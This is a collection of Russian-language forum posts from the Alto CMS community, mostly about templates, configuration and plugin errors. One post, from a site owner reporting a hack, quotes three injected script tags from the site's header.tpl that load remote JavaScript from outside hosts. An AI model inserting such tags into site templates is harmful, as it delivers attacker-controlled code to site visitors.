Языковой файл (ru.php)

Продолжаю свое знакомство с Alto. И снова прошу помощи у специалистов.
Собственно что имеем. В языковом файле есть следующие параметры вывода слов для кнопки вступления и выхода из Блога:
'blog_join' => 'вступить в блог',
'blog_leave' => 'покинуть блог',

Сама кнопка (приведу на всякий случай всю конструкцию):
{if $oUserCurrent}
    {if $oUserCurrent->getId() != $oBlog->getOwnerId() and $oBlog->getType() == 'open'}
        <button type="submit"  onclick="ls.blog.toggleJoin(this, {$oBlog->getId()}); return false;">
            <span>{if $oBlog->getUserIsJoin()}{$aLang.blog_leave}{else}{$aLang.blog_join}{/if}</span>
        </button>
    {else}
        {$aLang.blog_join_error_self}
    {/if}
{/if}

Т.е. и {$aLang.blog_leave}, и {$aLang.blog_join} на месте
{if $oBlog->getUserIsJoin()}{$aLang.blog_leave}{else}{$aLang.blog_join}{/if}

По идее, кнопка должна отображать текст: «вступить в блог» и «покинуть блог».
Но на сайте у нас совсем другая картинка:

Откуда скрипт вытягивает эти слова?
«Читать», «Не читать».

P.S.: Возможно, объяснение этому уже есть, тут на сайте. Но я не смог найти... (возможно из-за не правильной формулировки запросов в поиске). Прошу ткнуть меня носом, если таковое объяснение есть. Спасибо!

Взломали сайт и ставили гадости в шаблон

Сегодня взломали сайт и вставили гадости в шаблон, а именно в файл header.tpl

<script language='javascript' charset='UTF-8' type='text/javascript' src='http://ulog.tk/top'></script>
<script type="text/javascript" charset="windows-1251" src="http://ulog.tk/top_top"></script>	
<script async charset="UTF-8" type="text/javascript" src="http://pigmont.ru/14ytsv99hv15g3sge8sh198a9rffglmrb68b"></script>


как взломали не знаю.

[dev] Конфигурация сайта на Alto CMS - Определяем IP-адрес пользователя

В теории определение адреса посетителя – элементарная операция. Он, согласно соглашениям, должен лежать в переменной $_SERVER['REMOTE_ADDR']. Но суровая правда жизни нередко идет в разрез с теорией, поэтому на практике там может лежать что угодно, например, адрес самого сервера.

Есть еще куча заголовков, которые начинаются с префикса 'HTTP_', где может реально лежать IP-адрес пользователя, но теория гласит, что нельзя довеять таким заголовкам, т.к. он легко подделываются и там так же может лежать, что угодно.

Так как же быть? Откуда брать адрес?

Читать дальше →

Alto CMS v.1.0 Release Candidate

Думаю, мы уже вплотную подошли к стабильному релизу. Спасибо всем, кто помог выявить и исправить ошибки.

Со времени выхода второй бета-версии (кроме исправления ошибок) было выполнено несколько доработок. Наиболее важные из них:
  1. Доработка шаблона админпанели
  2. Значительное увеличение быстродействия
  3. Пересмотрен подход к автогенерации изображений налету
  4. Добавлена работа с анимированными GIF-картинками
А теперь подробности

Читать дальше →

Размеры фотопрофиля (1.0-beta)

Не могу пока понять логику.
В админке, в Медиаресурсах, по идее выводятся изображения 100Х100px. Большое изображение из Профиля (фотопрофиль?) тоже должно попадать на эту страницу (Медиаресурсы) — и попадает. Но, предусмотрено ли программно создание таких размеров (100Х100) этих самых изображений? По ходу нет. В итоге имеем некрасивость:



Прошу вашего совета и рекомендаций. Экспериментировать, в данной области, особого желания нет.
Или просто так и должно быть до выхода оф.релиза?
Спасибо!

Сторонний скрипт под шапку сайта

Всем привет!
Я серьезно рассматриваю переход с ЛС на Альто и поэтому еще один вопрос.

У меня есть скрипт в отдельной папке. Можно ли мне как-то сделать так, чтобы он находился под основной шапкой сайта? Можно ли такое сделать на данной cms?

Вкачестве наглядности я покажу конкретно:
memzona.com — основной сайт
memzona.com/memgen/ — скрипт

Главная: новости одного типа контента

В AltoCMS можно создавать топики различных видов контентов. Вывести ленту определенного контента можно на следующей странице фильтра: https://altocms.ru/filter/topic/ (где topic — идентификатор)

На главной же выводится все подряд.
Вопрос: как наиболее простым способом на главную в ленту статей вывести только определенный тип контента.

Прошу прощения, если ранее вопрос задавался, не смог найти.

Exception: Class "ххххххххххххх" not found!

При подключении плагинов возникает ошибка и выкидывает в белый экран с надписью: Exception: Class «ххххххххххх» not found! See details in error.log, после чего, не могу попасть в админку, и только после удаления соответствующей записи в plugins/plugins.dat, возобновляется работа админки, но плагин по прежнему не установлен.

 Что я делаю не так ???